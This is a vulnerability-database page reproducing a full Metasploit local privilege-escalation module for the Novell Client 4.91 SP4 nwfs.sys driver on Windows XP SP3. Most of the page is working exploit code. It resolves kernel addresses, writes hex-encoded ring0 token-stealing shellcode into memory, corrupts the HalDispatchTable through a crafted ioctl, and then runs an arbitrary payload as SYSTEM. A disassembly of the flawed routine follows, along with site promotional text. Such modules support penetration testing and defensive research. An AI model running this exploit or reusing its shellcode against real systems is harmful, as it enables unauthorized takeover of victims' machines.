Lucene search
K

Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation

🗓️ 23 Jun 2013 00:00:00Reported by Ruben SantamartaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation. This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel space. The corruption occurs while handling ioctl requests with code 0x1438BB, where a 0x00000009 dword is written to an arbitrary address. An entry within the HalDispatchTable is overwritten in order to execute arbitrary code when NtQueryIntervalProfile is called. The module has been tested successfully on Windows XP SP3 with Novell Client 4.91 SP4

Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/post/windows/priv'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = AverageRanking  
  
include Msf::Post::Common  
include Msf::Post::Windows::Priv  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation',  
'Description' => %q{  
This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel  
space. The corruption occurs while handling ioctl requests with code 0x1438BB,  
where a 0x00000009 dword is written to an arbitrary address. An entry within the  
HalDispatchTable is overwritten in order to execute arbitrary code when  
NtQueryIntervalProfile is called. The module has been tested successfully on  
Windows XP SP3 with Novell Client 4.91 SP4.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Ruben Santamarta', # Vulnerability discovery and PoC  
'juan vazquez' # MSF module  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Targets' =>  
[  
# Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4  
[ 'Automatic', { } ],  
[ 'Windows XP SP3',  
{  
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates  
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct  
'_TOKEN' => "\xc8", # Offset to TOKEN from the _EPROCESS struct  
'_UPID' => "\x84", # Offset to UniqueProcessId FROM the _EPROCESS struct  
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct  
}  
]  
],  
'References' =>  
[  
[ 'OSVDB', '46578' ],  
[ 'BID', '30001' ],  
[ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5028543.html' ]  
],  
'DisclosureDate'=> 'Jun 26 2008',  
'DefaultTarget' => 0  
}))  
  
end  
  
def add_railgun_functions  
session.railgun.add_function(  
'ntdll',  
'NtAllocateVirtualMemory',  
'DWORD',  
[  
["DWORD", "ProcessHandle", "in"],  
["PBLOB", "BaseAddress", "inout"],  
["PDWORD", "ZeroBits", "in"],  
["PBLOB", "RegionSize", "inout"],  
["DWORD", "AllocationType", "in"],  
["DWORD", "Protect", "in"]  
])  
  
session.railgun.add_function(  
'ntdll',  
'NtDeviceIoControlFile',  
'DWORD',  
[  
[ "DWORD", "FileHandle", "in" ],  
[ "DWORD", "Event", "in" ],  
[ "DWORD", "ApcRoutine", "in" ],  
[ "DWORD", "ApcContext", "in" ],  
[ "PDWORD", "IoStatusBlock", "out" ],  
[ "DWORD", "IoControlCode", "in" ],  
[ "LPVOID", "InputBuffer", "in" ],  
[ "DWORD", "InputBufferLength", "in" ],  
[ "LPVOID", "OutputBuffer", "in" ],  
[ "DWORD", "OutPutBufferLength", "in" ]  
])  
  
session.railgun.add_function(  
'ntdll',  
'NtQueryIntervalProfile',  
'DWORD',  
[  
[ "DWORD", "ProfileSource", "in" ],  
[ "PDWORD", "Interval", "out" ]  
])  
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')  
session.railgun.add_function(  
'psapi',  
'EnumDeviceDrivers',  
'BOOL',  
[  
["PBLOB", "lpImageBase", "out"],  
["DWORD", "cb", "in"],  
["PDWORD", "lpcbNeeded", "out"]  
])  
session.railgun.add_function(  
'psapi',  
'GetDeviceDriverBaseNameA',  
'DWORD',  
[  
["LPVOID", "ImageBase", "in"],  
["PBLOB", "lpBaseName", "out"],  
["DWORD", "nSize", "in"]  
])  
end  
  
def open_device(dev)  
  
invalid_handle_value = 0xFFFFFFFF  
  
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)  
  
handle = r['return']  
  
if handle == invalid_handle_value  
return nil  
end  
  
return handle  
end  
  
def find_sys_base(drvname)  
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)  
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")  
  
addresses.each do |address|  
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)  
current_drvname = results['lpBaseName'][0..results['return'] - 1]  
if drvname == nil  
if current_drvname.downcase.include?('krnl')  
return [address, current_drvname]  
end  
elsif drvname == results['lpBaseName'][0..results['return'] - 1]  
return [address, current_drvname]  
end  
end  
  
return nil  
end  
  
def execute_shellcode(shell_addr)  
  
vprint_status("Creating the thread to execute the shellcode...")  
ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)  
if ret['return'] < 1  
vprint_error("Unable to CreateThread")  
return nil  
end  
hthread = ret['return']  
  
vprint_status("Resuming the Thread...")  
ret = client.railgun.kernel32.ResumeThread(hthread)  
if ret['return'] < 1  
vprint_error("Unable to ResumeThread")  
return nil  
end  
  
return true  
end  
  
def ring0_shellcode(t)  
restore_ptrs = "\x31\xc0" # xor eax, eax  
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation  
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax  
  
tokenstealing = "\x52" # push edx # Save edx on the stack  
tokenstealing << "\x53" # push ebx # Save ebx on the stack  
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0  
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD  
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS  
tokenstealing << "\x8b\xc8" # mov ecx, eax  
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN  
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks  
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks  
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)  
tokenstealing << "\x75\xe8" # jne 0000101e ======================  
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX  
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX  
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS  
tokenstealing << "\x5b" # pop ebx # Restores ebx  
tokenstealing << "\x5a" # pop edx # Restores edx  
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!  
  
ring0_shellcode = restore_ptrs + tokenstealing  
return ring0_shellcode  
end  
  
def fill_memory(proc, address, length, content)  
  
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")  
  
if not proc.memory.writable?(address)  
vprint_error("Failed to allocate memory")  
return nil  
else  
vprint_good("#{address} is now writable")  
end  
  
result = proc.memory.write(address, content)  
  
if result.nil?  
vprint_error("Failed to write contents to memory")  
return nil  
else  
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")  
end  
  
return address  
end  
  
def disclose_addresses(t)  
addresses = {}  
  
vprint_status("Getting the Kernel module name...")  
kernel_info = find_sys_base(nil)  
if kernel_info.nil?  
vprint_error("Failed to disclose the Kernel module name")  
return nil  
end  
vprint_good("Kernel module found: #{kernel_info[1]}")  
  
vprint_status("Getting a Kernel handle...")  
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)  
kernel32_handle = kernel32_handle['return']  
if kernel32_handle == 0  
vprint_error("Failed to get a Kernel handle")  
return nil  
end  
vprint_good("Kernel handle acquired")  
  
  
vprint_status("Disclosing the HalDispatchTable...")  
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")  
hal_dispatch_table = hal_dispatch_table['return']  
if hal_dispatch_table == 0  
vprint_error("Failed to disclose the HalDispatchTable")  
return nil  
end  
hal_dispatch_table -= kernel32_handle  
hal_dispatch_table += kernel_info[0]  
addresses["halDispatchTable"] = hal_dispatch_table  
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")  
  
vprint_status("Getting the hal.dll Base Address...")  
hal_info = find_sys_base("hal.dll")  
if hal_info.nil?  
vprint_error("Failed to disclose hal.dll Base Address")  
return nil  
end  
hal_base = hal_info[0]  
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")  
  
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']  
addresses["HaliQuerySystemInfo"] = hali_query_system_information  
  
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")  
return addresses  
end  
  
  
def exploit  
  
vprint_status("Adding the railgun stuff...")  
add_railgun_functions  
  
if sysinfo["Architecture"] =~ /wow64/i  
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")  
elsif sysinfo["Architecture"] =~ /x64/  
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")  
end  
  
my_target = nil  
if target.name =~ /Automatic/  
print_status("Detecting the target system...")  
os = sysinfo["OS"]  
print_status("#{os.inspect}")  
if os =~ /windows xp/i  
my_target = targets[1]  
print_status("Running against #{my_target.name}")  
end  
else  
my_target = target  
end  
  
if my_target.nil?  
fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually")  
end  
  
print_status("Checking device...")  
handle = open_device("\\\\.\\nwfs")  
if handle.nil?  
fail_with(Exploit::Failure::NoTarget, "\\\\.\\nwfs device not found")  
else  
print_good("\\\\.\\nwfs found!")  
end  
  
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")  
@addresses = disclose_addresses(my_target)  
if @addresses.nil?  
session.railgun.kernel32.CloseHandle(handle)  
fail_with(Exploit::Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")  
else  
print_good("Addresses successfully disclosed.")  
end  
  
  
print_status("Storing the kernel stager on memory...")  
this_proc = session.sys.process.open  
kernel_shell = ring0_shellcode(my_target)  
kernel_shell_address = 0x1000  
result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)  
if result.nil?  
session.railgun.kernel32.CloseHandle(handle)  
fail_with(Exploit::Failure::Unknown, "Error while storing the kernel stager shellcode on memory")  
else  
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")  
end  
  
print_status("Storing the trampoline to the kernel stager on memory...")  
trampoline = "\x90" * 0x20 # nops  
trampoline << "\x68" # push opcode  
trampoline << [0x1000].pack("V") # address to push  
trampoline << "\xc3" # ret  
trampoline_addr = 0x3  
result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)  
if result.nil?  
session.railgun.kernel32.CloseHandle(handle)  
fail_with(Exploit::Failure::Unknown, "Error while storing trampoline on memory")  
else  
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")  
end  
  
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")  
magic_ioctl = 0x1438BB  
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0)  
session.railgun.kernel32.CloseHandle(handle)  
  
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")  
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)  
  
print_status("Checking privileges after exploitation...")  
  
if not is_system?  
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful")  
else  
print_good("Exploitation successful!")  
end  
  
print_status("Storing the final payload on memory...")  
shell_address = 0x0c0c0000  
result = fill_memory(this_proc, shell_address, 0x1000, payload.encoded)  
if result.nil?  
fail_with(Exploit::Failure::Unknown, "Error while storing the final payload on memory")  
else  
print_good("Final payload successfully stored at 0x#{shell_address.to_s(16)}")  
end  
  
print_status("Executing the payload...")  
result = execute_shellcode(shell_address)  
if result.nil?  
fail_with(Exploit::Failure::Unknown, "Error while executing the payload")  
else  
print_good("Enjoy!")  
end  
  
end  
  
end  
  
=begin  
  
[*] Corruption  
  
.text:0005512E sub_5512E proc near ; CODE XREF: ioctl_handler_sub_2FE4C+295p  
.text:0005512E ; sub_405C4+29Bp  
.text:0005512E  
.text:0005512E ms_exc = CPPEH_RECORD ptr -18h  
.text:0005512E arg_0 = dword ptr 8  
.text:0005512E  
.text:0005512E push 8  
.text:00055130 push offset stru_79268  
.text:00055135 call __SEH_prolog  
.text:0005513A xor eax, eax  
.text:0005513C mov ecx, [ebp+arg_0]  
.text:0005513F mov ecx, [ecx+0Ch]  
.text:00055142 mov ecx, [ecx+60h]  
.text:00055145 mov ecx, [ecx+10h]  
.text:00055148 mov [ebp+ms_exc.registration.TryLevel], eax  
.text:0005514B mov dword ptr [ecx], 9 // Corruption  
  
=end`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation